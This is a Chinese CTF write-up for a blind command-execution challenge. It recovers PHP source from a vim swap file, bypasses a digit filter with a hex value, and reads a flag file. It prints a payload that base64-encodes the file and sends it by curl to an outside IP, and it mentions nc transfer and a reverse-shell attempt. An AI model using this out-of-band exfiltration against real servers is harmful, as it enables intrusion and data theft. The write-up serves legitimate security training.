i春秋——“百度杯”CTF比賽 十月場——EXEC(命令執行、帶外通道傳輸數據)


查看源碼得知由vim編寫,所以查找備份以及交換文件

 

找到 /.index.php.swp ,下載后用vim -r恢復該文件即可得到源碼

 1 <html>
 2 <head>
 3 <title>blind cmd exec</title>
 4 <meta language='utf-8' editor='vim'>
 5 </head>
 6 </body>
 7 <img src=pic.gif>
 8 <?php
 9 /*
10 flag in flag233.php
11 */
12  function check($number) 13 { 14 $one = ord('1'); 15 $nine = ord('9'); 16 for ($i = 0; $i < strlen($number); $i++) 17  { 18 $digit = ord($number{$i}); 19 if ( ($digit >= $one) && ($digit <= $nine) ) 20  { 21 return false; 22  } 23  } 24 return $number == '11259375'; 25 } 26 if(isset($_GET[sign])&& check($_GET[sign])){ 27 setcookie('auth','tcp tunnel is forbidden!'); 28 if(isset($_POST['cmd'])){ 29 $command=$_POST[cmd]; 30 $result=exec($command); 31 //echo $result; 32  } 33 }else{ 34 die('no sign'); 35 } 36 ?> 37 </body> 38 </html>

 

要執行 exec($command)  需要有一個GET參數傳進來,應該是傳一個sign,而且sign要滿足上述代碼中的check()函數,可以用 11259375 的16進制繞過

沒有no sign說明繞過成功

 

接下來便可以執行任意命令,代碼中已經提示了flag在 flag233.php 文件中,只要讀取這個文件即可,但是這里不會有任何回顯,所以得讓目標服務器帶着該文件的內容訪問自己的服務器,然后再在自己服務器上查看日志。

看幾條linux命令

data=$(cat x.txt); 相當於創建了值為x.txt內容的一個變量,用$data可引用該變量,通過管道符 | 和 base64 命令,可將目標base64編碼,curl 可訪問目標url,這會在目標服務器留下日志。

所以構造

cmd=data=$(cat flag233.php | base64);curl http://xx.xx.xx.xx/?data=$data;

對該文件base64編碼是因為直接傳輸的話數據可能會因為某些字符而中斷

 

然后查看自己服務器上的日志

 

當然還可以直接用nc傳輸文件。

但是反彈shell試過了,沒有成功,可能有對某些命令進行過濾

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM